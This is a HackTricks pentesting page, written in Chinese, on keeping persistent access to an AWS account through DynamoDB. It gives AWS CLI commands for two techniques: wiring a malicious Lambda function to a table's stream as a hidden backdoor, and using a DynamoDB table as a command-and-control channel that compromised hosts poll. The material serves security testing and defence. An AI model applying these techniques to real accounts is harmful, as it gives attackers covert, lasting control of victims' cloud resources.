AWS - DynamoDB Persistence

支持 HackTricks

DynamoDB

更多信息请访问:

AWS - DynamoDB Enum

使用 Lambda 后门的 DynamoDB 触发器

使用 DynamoDB 触发器,攻击者可以通过将恶意的 Lambda 函数与表关联来创建一个隐蔽的后门。当项目被添加、修改或删除时,可以触发 Lambda 函数,从而允许攻击者在 AWS 账户内执行任意代码。

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

为了保持持久性,攻击者可以在 DynamoDB 表中创建或修改项目,这将触发恶意的 Lambda 函数。这使得攻击者无需直接与 Lambda 函数交互即可在 AWS 账户中执行代码。

DynamoDB 作为 C2 通道

攻击者可以通过创建包含命令的项目并使用被攻陷的实例或 Lambda 函数来获取和执行这些命令,将 DynamoDB 表用作指挥与控制 (C2) 通道

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

被攻陷的实例或Lambda函数可以定期检查C2表中的新命令,执行这些命令,并可选择将结果报告回表中。这使攻击者能够保持对被攻陷资源的持久性和控制。

支持HackTricks

Last updated